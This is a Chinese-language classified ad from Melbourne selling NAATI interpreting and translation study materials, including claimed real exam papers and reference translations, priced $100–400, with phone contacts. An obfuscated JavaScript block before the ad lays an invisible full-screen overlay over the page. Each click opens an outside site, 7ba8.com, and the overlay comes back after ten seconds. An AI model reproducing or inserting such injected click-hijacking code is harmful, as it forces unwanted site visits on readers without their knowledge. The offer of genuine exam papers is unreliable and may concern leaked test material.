<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>所有的资料全部是RMIT NAATI ACCREDITATED COURSE 的正规一年课程, 非一般培训中心资料。有NAATI 全真试题和MAATI评分老师写的参考译文。还有ETHICS, THEORY, CONTEXUAL STUDY等等。范围是NAATI规定的按TOPIC分类的HEALTH, SOCIAL WAREFARE, BUSINESS, ENVIRONMENT, EDUCATION, LEGAL ISSUES等等, 每个分类都有详细说明和范文。
内容包括:
NAATI二级口译,三级口译(包括对话和连传-dilogue and consecutive)) - 考试题目,有AUDIO和SCRIPT可以对照,部分有中英文对照,以及背景资料。
三级英译中 - 题目和老师写的参考译文,还有正式考试的评分标准,有具体文章修改扣分情况,还有各个分类TOPIC的背景资料。
三级中译英 - 题目和老师写的参考译文,还有正式考试的评分标准,具体文章修改扣分情况。老师是NAATI四级翻译,NATIVE SPEAKER。
道德题:大量资料,正式考题和分析文章其他还有翻译技巧、翻译理论、CONTEXTUAL STUDY等等可以帮助你更好的学习。还有我们的口译实习也可以借鉴。
以上所有的笔译题目和译文全部有电子版和PAPER,可以任选。
价格按要求的内容从$100-400,另外考试可以从我这里租借词典,都是NAATI老师推荐的词典:
陆谷孙 译文 英汉大词典
程景荣 新时代 汉英大词典等等
另外有没有人对NAATI口译感兴趣,可以一起练习,资料免费哦。我在墨尔本,CITY 见面。
请联系:[email protected]
Tel: 03-93111582
Mobile:0433546574 (3G) 0403059600 (optus) |
|